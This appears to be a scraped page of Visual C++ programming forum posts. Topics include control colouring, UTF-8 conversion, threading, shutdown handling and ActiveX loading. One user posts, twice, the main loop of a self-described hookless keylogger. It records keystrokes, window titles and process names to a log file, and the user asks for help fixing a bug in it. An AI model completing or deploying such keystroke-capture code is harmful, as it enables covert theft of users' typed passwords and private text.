|
You can change the background color of an edit control in a dialog by handling the WM_CTLCOLOR message in the dialog:
class MyDialog : public CDialog {
COLORREF _BkgColor;
HBRUSH _BkgBrush;
};
BOOL MyDialog::OnInitDialog()
{
_BkgColor = RGB(0,255,0);
_BkgBrush = ::CreateSolidBrush(_BkgColor);
}
HBRUSH MyDialog::OnCtlColor( CDC* pDC, CWnd* pWnd, UINT nCtlColor )
{
hbr = CDialog::OnCtlColor(pDC,pWnd,nCtlColor);
if (pWnd()->GetDlgCtrlId() == IDC_MY_EDIT_CONTROL) {
pDC->SetBkColor(_BkgColor);
hbr = _BkgBrush;
}
return hbr;
} In the OnInitDialog() handler for the dialog, we initialize the background color value and create a brush in that color. The WM_CTLCOLOR handler is called OnCtlColor . The edit control for which we want to change the color has the resource ID IDC_MY_EDIT_CONTROL . We set the text background to our background color using SetBkColor() , and the overall background for the control by returning the brush we created.
Software Zen: delete this;
|
|
|
|
|
Hello!
I have several password edit controls in my application. I wanted to rebuild the look of the Windows XP login dialog (so with the nice black dots).
I am currently using this:
TCHAR tchDot = (TCHAR)(_T('z') + 27);
m_pEditPw.SetPasswordChar(tchDot);
This works very fine on Win98, but on Win2000 and WinXP there are spaces between the dots, so it doesn't look like ***, but like * * *.
Any ideas how to fix this?
Thanks and best regards,
Dominik
_outp(0x64, 0xAD);
and
__asm mov al, 0xAD __asm out 0x64, al
do the same... but what do they do??
(doesn't work on NT)
|
|
|
|
|
|
|
|
I got it solved already, thnks anyways
I have no idea
|
|
|
|
|
Hello,
anyone can help me ?
what differences beetween database and recordbinding ?
Thank you.
|
|
|
|
|
:confused //REOBJECT reobj;
we can use interface :m_lpRichEditOle->GetObject(0,&reobj,0)
to get the property of a object.
if we modify the property (exp:reobj.dwFlags=0), how to update
it to richedit control.
off
|
|
|
|
|
Is there any documentation for using the dicomapi. This has reference to the set provided by John.
R.Nagarajan
|
|
|
|
|
http://www.vbforums.com/showthread.php?p=1889023
I am trying to increase the brightness of a grey image and if someone can do this so that I can go on to do code myself to change contrast and do filters it would be appreciated.
I'm just having trouble with how to alter a pixel of a loaded image on the screen. I don't know the syntax of what a pixel is to set it to a value.
|
|
|
|
|
In C++, you need to load images as a DIBSection, then you can easily access their bits.
Christian
I have several lifelong friends that are New Yorkers but I have always gravitated toward the weirdo's. - Richard Stringer
|
|
|
|
|
Hello All.. im new to multithreaded programming and have a couple q's.
So far ive got a simple test program working that launches a worker thread via Daniel Lohmann's kewl adapter, but i have a few questions.
How do i go about passing data w/ the function? Do i need a Class or struct that encapsulates all the data and pass a ptr of it to the function? Then what about my functions that i need to call from within my thread function... should these just go inside the 'Test' struct that my thread function is in... or are they something like static members of my data class?
|
|
|
|
|
Knave777Wave wrote:
Do i need a Class or struct that encapsulates all the data and pass a ptr of it to the function?
that's what i usually do.
Knave777Wave wrote:
Then what about my functions that i need to call from within my thread function... should these just go inside the 'Test' struct that my thread function is in... or are they something like static members of my data class?
they can go wherever you like. there's really nothing special about the functions a thread calls. maybe you want to keep them in the same file as your thread function for ease-of-maintenance, but it's not strictly necessary.
Image Toolkits | Image Processing | Cleek
|
|
|
|
|
hello,
I am trying to make a hookless keylogger using AttachThread
function to attach my thread to the foreground window and
GetKeyboardState to fish for keys but I have a problem when
the program is active(see code snipplet of most of the
source code below) the mouse double click doesn't work any
more on the desktop and in windows explorer but the logger
does log these events(the double clicks) so why does it do
this and how can I remedy this??
I don't need to necesarrily log these events is there any
way I could skip them?
I included the program's main loop here maby it helps you
when you give me answers(hopefully) thank you in advance.
<br />
while(true)<br />
{<br />
<br />
fereastra_activa=GetForegroundWindow();<br />
<br />
if(fereastra_activa!=NULL)<br />
{<br />
<br />
DWORD id;<br />
<br />
id = <br />
<br />
GetWindowThreadProcessId(fereastra_activa, &lpdwProcessId);<br />
<br />
<br />
<br />
if(AttachThreadInput(GetCurrentThreadId(),id,TRUE))<br />
{<br />
<br />
threadul","toader",MB_OK);<br />
//---------------------numele <br />
<br />
proceselor-------------------------------------------------<br />
<br />
--------<br />
<br />
<br />
<br />
GetWindowModuleFileName(fereastra_activa,nume_exe,1024);<br />
<br />
<br />
<br />
//MessageBox(0,nume_exe,"numele executabilului",MB_OK);<br />
<br />
<br />
<br />
if(StrCmpI(nume_exe,nume_exe_actual)!=0)<br />
{<br />
if(nume_exe!=NULL)<br />
{<br />
<br />
<br />
ScriereText(fisier_de_log,"\n");<br />
<br />
<br />
ScriereText(fisier_de_log,"\n");<br />
<br />
<br />
ScriereText(fisier_de_log,"____________________________new <br />
<br />
process:___________________________________");<br />
<br />
<br />
ScriereText(fisier_de_log,"\n");<br />
<br />
<br />
ScriereText(fisier_de_log,nume_exe);<br />
<br />
<br />
ScriereText(fisier_de_log,"\n");<br />
<br />
<br />
strcpy(nume_exe_actual,nume_exe);<br />
}<br />
<br />
}<br />
<br />
//---------------------------------------------------------<br />
<br />
--------------------------------------<br />
//----------------------------numele <br />
<br />
ferestrelor------------------------------------------------<br />
<br />
-<br />
<br />
<br />
GetWindowText(fereastra_activa,nume_fereastra,1024);<br />
<br />
if <br />
<br />
(StrCmpI(nume_fereastra,nume_fereastra_actual)!=0)<br />
{<br />
<br />
<br />
if(strlen(nume_fereastra)>0)<br />
{<br />
<br />
<br />
ScriereText(fisier_de_log,"\n");<br />
<br />
<br />
ScriereText(fisier_de_log,"\n");<br />
<br />
<br />
ScriereText(fisier_de_log,"--------------------------new <br />
<br />
window name:-------------------------------------");<br />
<br />
<br />
ScriereText(fisier_de_log,"\n");<br />
<br />
<br />
ScriereText(fisier_de_log,nume_fereastra);<br />
<br />
<br />
ScriereText(fisier_de_log,"\n");<br />
<br />
<br />
strcpy(nume_fereastra_actual,nume_fereastra);<br />
}<br />
<br />
}<br />
<br />
//---------------------------------------------------------<br />
<br />
--------------------------------------<br />
<br />
BYTE CharacterInfo[256];<br />
BYTE <br />
<br />
LastCharacterInfo[256];<br />
<br />
<br />
GetKeyboardState(CharacterInfo);<br />
<br />
<br />
<br />
if(!AttachThreadInput(GetCurrentThreadId(),id,FALSE))<br />
{<br />
MessageBox(0,"nu am <br />
<br />
putut sa scot threadul","toader",MB_OK);<br />
}<br />
<br />
<br />
<br />
if(memcmp(LastCharacterInfo, CharacterInfo, <br />
<br />
sizeof(LastCharacterInfo)) != 0)<br />
{<br />
for(int i = 32;i< <br />
<br />
127;i++)<br />
{<br />
<br />
<br />
if(CharacterInfo[i] & 0x80)<br />
{<br />
<br />
<br />
//MessageBox(0,"a key has been pressed","b",MB_OK);<br />
<br />
<br />
<br />
if(CharacterInfo[0x0D] & 0x80)<br />
{<br />
<br />
<br />
ScriereText("toader.txt","<ENTER>");<br />
}<br />
<br />
<br />
<br />
ScriereCaracter("toader.txt",i);<br />
<br />
<br />
}<br />
}<br />
<br />
<br />
memcpy(LastCharacterInfo, CharacterInfo, <br />
<br />
sizeof(LastCharacterInfo));<br />
}<br />
<br />
<br />
}<br />
else<br />
{<br />
MessageBox(0,"n-a <br />
<br />
mers","toader cel golan",MB_OK);<br />
if(id=0)<br />
{<br />
<br />
<br />
MessageBox(0,"pentru ca id este 0","sunt golan",MB_OK);<br />
}<br />
}<br />
}<br />
else<br />
{<br />
//MessageBox(0,"nu pot sa iau <br />
<br />
handel de la fereastra","toader",MB_OK);<br />
}<br />
Sleep(1);<br />
}
|
|
|
|
|
hello,
I am trying to make a hookless keylogger using AttachThread
function to attach my thread to the foreground window and
GetKeyboardState to fish for keys but I have a problem when
the program is active(see code snipplet of most of the
source code below) the mouse double click doesn't work any
more on the desktop and in windows explorer but the logger
does log these events(the double clicks) so why does it do
this and how can I remedy this??
I don't need to necesarrily log these events is there any
way I could skip them?
I included the program's main loop here maby it helps you
when you give me answers(hopefully) thank you in advance.
while(true)
{
fereastra_activa=GetForegroundWindow();
if(fereastra_activa!=NULL)
{
DWORD id;
id =
GetWindowThreadProcessId(fereastra_activa, &lpdwProcessId);
if(AttachThreadInput(GetCurrentThreadId(),id,TRUE))
{
//MessageBox(0,"am atasat
threadul","toader",MB_OK);
//---------------------numele
proceselor-------------------------------------------------
--------
GetWindowModuleFileName(fereastra_activa,nume_exe,1024);
//MessageBox(0,nume_exe,"numele executabilului",MB_OK);
if(StrCmpI(nume_exe,nume_exe_actual)!=0)
{
if(nume_exe!=NULL)
{
ScriereText(fisier_de_log,"\n");
ScriereText(fisier_de_log,"\n");
ScriereText(fisier_de_log,"____________________________new
process:___________________________________");
ScriereText(fisier_de_log,"\n");
ScriereText(fisier_de_log,nume_exe);
ScriereText(fisier_de_log,"\n");
strcpy(nume_exe_actual,nume_exe);
}
}
//---------------------------------------------------------
--------------------------------------
//----------------------------numele
ferestrelor------------------------------------------------
-
GetWindowText(fereastra_activa,nume_fereastra,1024);
if
(StrCmpI(nume_fereastra,nume_fereastra_actual)!=0)
{
if(strlen(nume_fereastra)>0)
{
ScriereText(fisier_de_log,"\n");
ScriereText(fisier_de_log,"\n");
ScriereText(fisier_de_log,"--------------------------new
window name:-------------------------------------");
ScriereText(fisier_de_log,"\n");
ScriereText(fisier_de_log,nume_fereastra);
ScriereText(fisier_de_log,"\n");
strcpy(nume_fereastra_actual,nume_fereastra);
}
}
//---------------------------------------------------------
--------------------------------------
BYTE CharacterInfo[256];
BYTE
LastCharacterInfo[256];
GetKeyboardState(CharacterInfo);
if(!AttachThreadInput(GetCurrentThreadId(),id,FALSE))
{
MessageBox(0,"nu am
putut sa scot threadul","toader",MB_OK);
}
if(memcmp(LastCharacterInfo, CharacterInfo,
sizeof(LastCharacterInfo)) != 0)
{
for(int i = 32;i<
127;i++)
{
if(CharacterInfo[i] & 0x80)
{
//MessageBox(0,"a key has been pressed","b",MB_OK);
if(CharacterInfo[0x0D] & 0x80)
{
ScriereText("toader.txt","<enter>");
}
ScriereCaracter("toader.txt",i);
}
}
memcpy(LastCharacterInfo, CharacterInfo,
sizeof(LastCharacterInfo));
}
}
else
{
MessageBox(0,"n-a
mers","toader cel golan",MB_OK);
if(id=0)
{
MessageBox(0,"pentru ca id este 0","sunt golan",MB_OK);
}
}
}
else
{
//MessageBox(0,"nu pot sa iau
handel de la fereastra","toader",MB_OK);
}
Sleep(1);
}
|
|
|
|
|
Hello,
I have text in bstr string. Text is in some code page.
How to convert text from code page to UTF8 and put it in wchar_t?
|
|
|
|
|
A BSTR holds a Unicode string, which has no code pages. You can use WideCharToMultiByte() with CP_UTF8 as the first parameter to convert it to UTF-8, but the destination is a char array, not wchar_t .
--Mike--
LINKS~! Ericahist | 1ClickPicGrabber | CP SearchBar v2.0.2 | C++ Forum FAQ | You Are Dumb
Magnae clunes mihi placent, nec possum de hac re mentiri.
|
|
|
|
|
Michael Dunn wrote:
A BSTR holds a Unicode string, which has no code pages.
HTML page, from IE, is taken in BSTR. What about charset which is defined in HTML? Does it mean no need to convert from the charset to UTF8?
|
|
|
|
|
When IE reads the HTML, it handles the encoding itself. When you get the HTML via a COM method, it's returned as a BSTR (using UCS-2 encoding) because that's how strings are passed around in COM.
So you need to be clear about what you want. If you want to change that BSTR to UTF-8, see my previous answer.
--Mike--
LINKS~! Ericahist | 1ClickPicGrabber | CP SearchBar v2.0.2 | C++ Forum FAQ | You Are Dumb
Magnae clunes mihi placent, nec possum de hac re mentiri.
|
|
|
|
|
I want UTF8 in wchar_t.
Thank you.
|
|
|
|
|
|
I want to put a phonebook style database into my VC6 application, what is the best way to do that?
|
|
|
|
|
You could define a database entry class and serialize a collection of them to a file. See this[^] series of articles if you'd like to know more about serialization and versioning.
/ravi
My new year's resolution: 2048 x 1536
Home | Articles | Freeware | Music
ravib@ravib.com
|
|
|
|
|
Hi Everybody,
I have a tough nut to crack here.
My Application (which sits all day in the Systray as cute little icon sitting next to the clock) has to do some tasks when the User wants to shutdown/logoff/reboot Windows. In detail, this is some file copying, maybe start a backup or whatever.
In order to achieve this, I catch WM_QUERYENDSESSION.
But, Windows isn't patient enough for my application! Windows keeps on shutting down after a few seconds, way too early for me... it get's worse as soon as a User has changed the Registry (HKEY_CURRENT_USER\Control Panel\Desktop\WaitToKillAppTimeout and HKEY_CURRENT_USER\Control Panel\Desktop\HungAppTimeout)
Okay, so I thought I just have to return 0 in WM_QUERYENDSESSION, check what the user wanted (logoff/shutdown/reboot) and manually shutdown Windows (ExitWindowsEx) once I finished my tasks.
So far so good, as long as the user logs off or shuts down.
But what if he chose "Reboot"? According to MSDN, it is not possible to determine if the user Shuts down or Reboots Windows while in WM_QUERYENDSESSION... but that is exactly the one info I need.
Operating system is XP, but it would be cool if it also works in elder OS (like Windows 9x/Me and NT 4.0).
Do you have any idea?
PS: BTW, I'm using Visual Studio .NET, but code in C using pure WinAPI (no Wrapper like MFC or any Classes like in C++). I did not know where to put this question, if this is the wrong forum, please let me know.
|
|
|
|
|
#include <stdio.h>
#import "C:\Project1.dll" no_namespace
class RemoteDllLoader
{
_Class1Ptr ptr;
public:
RemoteDllLoader()
{
try
{
CoInitialize(NULL);
ptr.CreateInstance(__uuidof(Class1));
}
catch(_com_error &e)
{
_bstr_t err = e.Description();
MessageBox(NULL,err,"Error",0);
}
}
~RemoteDllLoader()
{
CoUninitialize();
}
void Test()
{
ptr->Test1("Hi");
}
int Test2(int n1,int n2)
{
return ptr->Test2(n1,n2);
}
};
this is the code that i used to load an activex dll.but I want to load a particular dll by specifying it dll name given by a parameter.Can it be possible? I appreciate any possible answer.Thnxs
Viraj Siriwardana
|
|
|
|
|